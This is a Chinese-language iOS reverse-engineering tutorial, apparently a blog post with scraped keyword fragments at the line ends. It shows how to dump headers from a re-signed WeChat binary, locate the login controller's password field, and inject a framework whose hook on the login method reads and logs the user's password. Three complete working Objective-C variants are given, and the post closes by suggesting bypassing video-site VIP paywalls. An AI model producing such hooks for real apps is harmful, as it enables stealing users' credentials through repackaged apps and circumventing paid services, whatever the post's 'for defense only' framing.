本篇文章基於前兩篇基礎之上的 . 還沒了解的同窗歡迎閱讀 :面試
應用簽名原理及重簽名shell
這兩篇文章中花了不少篇幅來說解 簽名
、重籤
、代碼注入
等等 . 那麼重簽了 wx
的應用包 , 咱們到底能不能拿來調試 , 能不能看到源代碼 , 或者說 , 咱們重簽名了到底有什麼用呢 ?微信
本篇文章咱們一塊兒來探索一下 .工具
class-dump 提取碼 : kjjs
post
class-dump
這個工具能夠將 Mach-O
中的類的描述 copy
出來 . 能夠理解成把頭文件提取出來 , ( 但也不只僅是頭文件 ) .網站
打開咱們下載的越獄微信 ipa
. 轉 zip
解壓 , Payload
- WeChat
顯示包內容 , 找到 WeChat
的 Mach-O
源文件 . 複製出來到 class-dump
同路徑下 .ui
cd
到這個目錄下 , 執行 :spa
./class-dump -H WeChat -o ./headers/
複製代碼
執行完畢 :3d
其實其原理就是 根據 Mcah-O
中類的描述 , 屬性 , 方法 . 進行整理 , 而後生成 , 寫入 .
咱們看到了一萬多個頭文件 . 這裏推薦一個方便查看與搜索的工具 .
直接把 headers
文件夾拖入 Sublime
.
你就能夠隨意瀏覽了 . 後期會再考慮是否攝入彙編代碼部分 .
這個需求比較簡單 , 實現思路就是代碼注入的方式 , Hook
註冊按鈕的方法 . 修改成本身的方法便可 , 就不演示了 .
咱們來演示個有點意思的.
咱們來一步步玩一下 .
準備好重籤成功的工程 , 沒有作代碼注入的 , 就寫一個 framework
, 而後 shell
腳本里 yololib
作一下. cmd + r
, run
起來.
記得檢查一下 代碼有沒有注入成功.
來到以下頁面 .
View Debug
左邊選擇窗口 , 選中登陸按鈕 , 注意不要選中 上面覆蓋的 imageview
了 , 綠的那個. 右邊看 Target
和 Action
.
注意 :
筆者這裏是 Xcode 11 , 所以
Target
和Action
都是地址 , 老版本的Xcode
都是直接顯示類名和方法名的 , 那麼怎麼辦呢 .lldb
.
來到 Sublime
咱們打開好的源碼中 , cmd
+ shift
+ F
.
搜索結果 , 白色框直接雙擊來到這個文件 , 找到方法 ( onNext
).
找到這個方法 , 我有點懵逼 o((⊙﹏⊙))o , 爲何呢 ? 這個方法沒有參數 , 也就是說它並無把用戶密碼當成參數傳遞 , 固然咱們看屬性也沒有把密碼當成一個屬性 . 那咋辦嘛 ?
由於咱們要
Hook
的是onNext
方法 , 那麼在onNext
方法中 , 咱們只有self
這個隱式參數可用 . 所以咱們去找成員變量和屬性 . 若是找不到 , 也能夠用subView
的方式 , 最恐怖的時候 咱們甚至要經過控制鏈去找 .
固然這裏不用那麼麻煩 , 優秀的 wx
工程師的命名規範爲咱們很快找到一個 這個東西.
他顯然不是一個 textField
, 可是看起來和輸入框有點關係 . 那咱們去看看這個類 .
cmd
+ shift
+ F
搜 @interface WCAccountTextFieldItem
textField
, 不着急 , 沿着繼承鏈 , 找父類
WCBaseTextFieldItem
.
cmd
+ shift
+ F
搜 @interface WCBaseTextFieldItem
是否是看到了這個 tf
.
那麼咱們來回顧一下 .
在 onNext
方法中 咱們經過 self._textFieldUserPwdItem.m_textField
就能夠拿到輸入框 , 而後再 .text
, 不就拿到用戶密碼了嗎 ?
想通了那就開始幹 ?
NO !
注意 : 在逆向調試的過程當中 , 想通了不必定表明走的通 , 那這時候若是去擼代碼 , 極可能會白乾.
那麼怎麼辦呢 ? lldb
動態調試一下.
View Debug
, 找到 vc
, 拿到地址 .
valueForKey
, 找到 _textFieldUserPwdItem
, 拿到 WCUITextField
, 拿到其 text
驗證經過 , 開幹
打開咱們本身注入的 framework
, 來到 load
方法開始 hook
, 具體代碼邏輯我就不詳細介紹了 .
大概總結一下 :
將登錄按鈕的方法換成咱們的方法 , 在咱們拿到密碼後在調用微信本來的方法繼續執行 .
代碼我也貼一下 .
這裏若是使用 method_exchangeImplementations
有個須要注意的點 , 平時咱們大可能是在分類中作 hook
, 那麼 hook
以後 , 原先的類再訪問咱們本身在分類中定義的方法是沒有問題的 , 由於分類自己就是擴展 在本來類的方法列表就會有這個你本身定義的方法.
可是 , 在此時咱們本身注入的 framework
就不行了 , 由於咱們把 onNext
方法的 imp
換成本身的方法 , 微信調用 onNext
來到咱們的方法實現 , 是沒問題的 . 但當咱們拿到了密碼想讓其訪問原方法 , 這個時候調用的是給 VC
發 my_onNext
的消息 , 那確定是找不到的 , 而若是是咱們正向開發使用分類就沒這個問題了 , 這也是咱們爲何常用分類來作 hook
的主要緣由 , 面試再碰到不要再回答 什麼污染 什麼效率了...
解決辦法也很簡單 , 這裏我都給你們敲了一遍 貼出來了
class_addMethod
( 比較麻煩 )#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代碼注入成功!");
//原始微信的登陸方法
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//添加新方法
/** * 一、給哪一個類添加方法 * 二、方法編號 * 三、方法實現(地址) */
BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
//交換
method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
}
//方法實現IMP
void new_onNext(id self,SEL _cmd){
//拿出用戶的密碼
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"竊取到用戶的密碼是%@",pwd.text);
//登陸
[self performSelector:@selector(new_onNext)];
}
@end
複製代碼
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代碼注入成功!");
//使用替換
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}
// imp 指針 --》 8字節。
IMP (*old_onNext)(id self,SEL _cmd);
//方法實現IMP
void new_onNext(id self,SEL _cmd){
//拿出用戶的密碼
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"竊取到用戶的密碼是%@",pwd.text);
//登陸
old_onNext(self,_cmd);
}
複製代碼
getImp
/ setImp
( 最簡單 )#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>
@implementation InjectCode
+ (void)load{
NSLog(@"代碼注入成功!");
//getIMP 和 setIMP
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}
// imp 指針 --》 8字節。
IMP (*old_onNext)(id self,SEL _cmd);
//方法實現IMP
void new_onNext(id self,SEL _cmd){
//拿出用戶的密碼
UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"竊取到用戶的密碼是%@",pwd.text);
//登陸
old_onNext(self,_cmd);
}
複製代碼
其實 二和三的原理就是僅僅把 微信原方法 onNext
的 imp
保存一下 , 而後換成咱們本身的 , 在調用咱們本身的方法以後再直接調用一下保存的 imp
. 是否是超級簡單呢 ?
爲何要講這麼多種方法呢 . 一是方便你們理解 , 另外後面咱們會介紹一個專門來作 Hook
的工具 , 這個工具大部分都是直接使用的 getIMP
和 setIMP
. 你們敬請期待吧 😆.
這裏簡單模擬了一個需求 , 來實現了一下 , 主要是將這種方式介紹給你們 , 能實現什麼 , 你們能夠本身去玩一玩 , 例如能否繞過某些視頻網站開通 vip
呢 ? 或者其餘想法 .
固然 , 仍是那句話 : 玩逆向 只是爲了防禦 .